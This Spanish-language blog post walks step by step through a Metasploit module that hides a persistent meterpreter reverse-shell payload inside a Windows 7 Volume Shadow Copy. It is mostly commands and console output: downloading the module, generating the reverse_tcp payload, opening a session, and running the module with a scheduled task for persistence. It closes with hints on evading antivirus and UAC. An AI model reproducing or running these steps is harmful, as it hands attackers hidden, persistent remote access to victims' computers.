Ocultar payloads persistentes en volúmenes 'shadow copy' de Windows

En Windows el servicio Volume Shadow Copy (VSS) crea copias de seguridad (snapshots) cada vez que hay un cambio en el sistema para poder tener disponible y actualizado un punto de restauración. Esta información de backup se almacena en volúmenes "ocultos" cuyas peculiaridades pueden ser aprovechadas con fines maliciosos, como por ejemplo ocultar artefactos de malware...

Recientemente se ha desarrollado un módulo de Metasploit para crear un payload persistente en un VSS en Windows 7. Se basa en el script VSSOwn de Tim Tomes y Mark Baggett y lo que hace es subir un ejecutable, crear un backup (VSS), borrarlo y ejecutar  \?\GLOBALROOT\/HarddiskVolumeShadowCopy\d{1,3}/%TEMP%\executable
La persistencia se consigue mediante una tarea programada (SCHTASK) o en una clave AUTORUN.

De momento para utilizarlo lo podemos descargar de Github:
root@kali:~# wget https://raw.github.com/MrXors/metasploit-framework/f345414832fe0895e6ed89e70eb57f72a103aeaf/modules/exploits/windows/local/vss_persistence.rb
root@kali:~# mv vss_persistence.rb /usr/share/metasploit-framework/modules/post/windows/manage/

Para probar generaremos un payload de prueba:
root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.177.128 LPORT=80 X > payload_prueba.exe

A continuación ejecutaremos la consola de Metasploit y recargaremos los módulos:
root@kali:~/# msfconsole -L
msf > reload_all
[*] Reloading modules from all module paths...
                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            http://metasploit.pro


Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.7.1-2013100901 [core:4.7 api:1.0]
+ -- --=[ 1207 exploits - 728 auxiliary - 202 post
+ -- --=[ 314 payloads - 30 encoders - 8 nops

Lo siguiente será obtener una sesión meterpreter. Hay que tener en cuenta que nuestro nuevo módulo es de post-explotación y que necesitamos que el usuario de la sesión tenga privilegios administrativos. En caso contrario tendremos que hacer uso de otro módulo para la escalación de privilegios local.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > set LHOST 192.168.177.128
LHOST => 192.168.177.128
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.177.128:80 
[*] Starting the payload handler...

[*] Sending stage (770048 bytes) to 192.168.177.1
[*] Meterpreter session 1 opened (192.168.177.128:80 -> 192.168.177.1:4222) at 2013-10-16 06:07:56 -0100

meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter > sysinfo
Computer        : PC102-23DRW
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : es_ES
Meterpreter     : x86/win32

Ahora dejaremos en background la sesión para finalmente ejecutar el exploit:
meterpreter > background 
[*] Backgrounding session 1...


msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                   Connection
  --  ----                   -----------                   ----------
  2   meterpreter x86/win32  PANDORA\vmotos @ PC102-23DRW  192.168.177.128:80 -> 192.168.177.1:5350 (192.168.177.1)
  
msf exploit(handler) > use post/windows/manage/vss_persistence 

msf exploit(vss_persistence) > show options

Module options (exploit/windows/manage/vss_persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    1                yes       Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.
   EXECUTE  true             yes       Run the EXE on the remote system.
   RPATH                     no        Path on remote system to place Executable. Example: \\Windows\\Temp (DO NOT USE C:\ in your RPATH!)
   RUNKEY   false            yes       Create AutoRun Key for the EXE
   SCHTASK  false            yes       Create a Scheduled Task for the EXE.
   SESSION                   yes       The session to run this module on.
   VOLUME   C:\              yes       Volume to make a copy of.


Exploit target:

   Id  Name
   --  ----
   0   Windows 7

msf exploit(vss_persistence) > set SCHTASK true
SCHTASK => true

msf exploit(vss_persistence) > set session 1
session => 1

msf exploit(vss_persistence) > exploit

[*] Started reverse handler on 192.168.177.128:4444 
[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service not running. Starting it now...
[*] Volume Shadow Copy started successfully.
[*] Uploading payload...
[*] Creating Shadow Volume Copy...
[*] ShadowCopy created successfully
[*] Finding the Shadow Copy Volume...
[*] Deleting malware...
[*] Executing \Windows\Temp\svhost69.exe...
[*] Sending stage (770052 bytes) to 192.168.177.128
[*] Creating Scheduled Task...
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.134:4917) at 2013-10-16 06:15:32 -0100

Y ya lo tenemos.

pd. Si habéis seguido estos pasos ya os habréis dado cuenta: en el momento de su ejecución el motor de análisis en tiempo real del AV detectará el payload. Para evitarlo se podría montar el volumen oculto (VSC) como si fuera una unidad de red o seguir otras técnicas. Además necesitarás desactivar/evadir UAC...

Comentarios